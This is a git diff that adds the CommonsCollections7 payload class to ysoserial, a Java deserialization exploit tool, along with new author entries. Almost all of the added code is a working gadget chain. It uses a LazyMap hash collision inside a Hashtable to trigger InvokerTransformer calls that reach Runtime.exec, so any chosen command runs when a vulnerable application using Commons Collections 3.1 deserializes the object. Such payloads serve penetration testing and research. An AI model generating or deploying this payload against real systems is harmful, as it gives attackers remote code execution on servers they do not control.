diff --git a/src/main/java/ysoserial/payloads/CommonsCollections7.java b/src/main/java/ysoserial/payloads/CommonsCollections7.java new file mode 100644 index 0000000..dd1cd68 --- /dev/null +++ b/src/main/java/ysoserial/payloads/CommonsCollections7.java @@ -0,0 +1,87 @@ +package ysoserial.payloads; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.map.LazyMap; + +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Map; + +/* + Payload method chain: + + java.util.Hashtable.readObject + java.util.Hashtable.reconstitutionPut + org.apache.commons.collections.map.AbstractMapDecorator.equals + java.util.AbstractMap.equals + org.apache.commons.collections.map.LazyMap.get + org.apache.commons.collections.functors.ChainedTransformer.transform + org.apache.commons.collections.functors.InvokerTransformer.transform + java.lang.reflect.Method.invoke + sun.reflect.DelegatingMethodAccessorImpl.invoke + sun.reflect.NativeMethodAccessorImpl.invoke + sun.reflect.NativeMethodAccessorImpl.invoke0 + java.lang.Runtime.exec +*/ + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI}) + +public class CommonsCollections7 extends PayloadRunner implements ObjectPayload { + + public Hashtable getObject(final String command) throws Exception { + + // Reusing transformer chain and LazyMap gadgets from previous payloads + final String[] execArgs = new String[]{command}; + + final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); + + final Transformer[] transformers = new Transformer[]{ + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", + new Class[]{String.class, Class[].class}, + new Object[]{"getRuntime", new Class[0]}), + new InvokerTransformer("invoke", + new Class[]{Object.class, Object[].class}, + new Object[]{null, new Object[0]}), + new InvokerTransformer("exec", + new Class[]{String.class}, + execArgs), + new ConstantTransformer(1)}; + + Map innerMap1 = new HashMap(); + Map innerMap2 = new HashMap(); + + // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject + Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); + lazyMap1.put("yy", 1); + + Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); + lazyMap2.put("zZ", 1); + + // Use the colliding Maps as keys in Hashtable + Hashtable hashtable = new Hashtable(); + hashtable.put(lazyMap1, 1); + hashtable.put(lazyMap2, 2); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); + + // Needed to ensure hash collision after previous manipulations + lazyMap2.remove("yy"); + + return hashtable; + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(CommonsCollections7.class, args); + } +} diff --git a/src/main/java/ysoserial/payloads/annotation/Authors.java b/src/main/java/ysoserial/payloads/annotation/Authors.java index 5fd15ef..57232da 100644 --- a/src/main/java/ysoserial/payloads/annotation/Authors.java +++ b/src/main/java/ysoserial/payloads/annotation/Authors.java @@ -20,6 +20,9 @@ public @interface Authors { String JASINNER = "jasinner"; String KULLRICH = "kai_ullrich"; String TINT0 = "_tint0"; + String SCRISTALLI = "scristalli"; + String HANYRAX = "hanyrax"; + String EDOARDOVIGNATI = "EdoardoVignati"; String[] value() default {};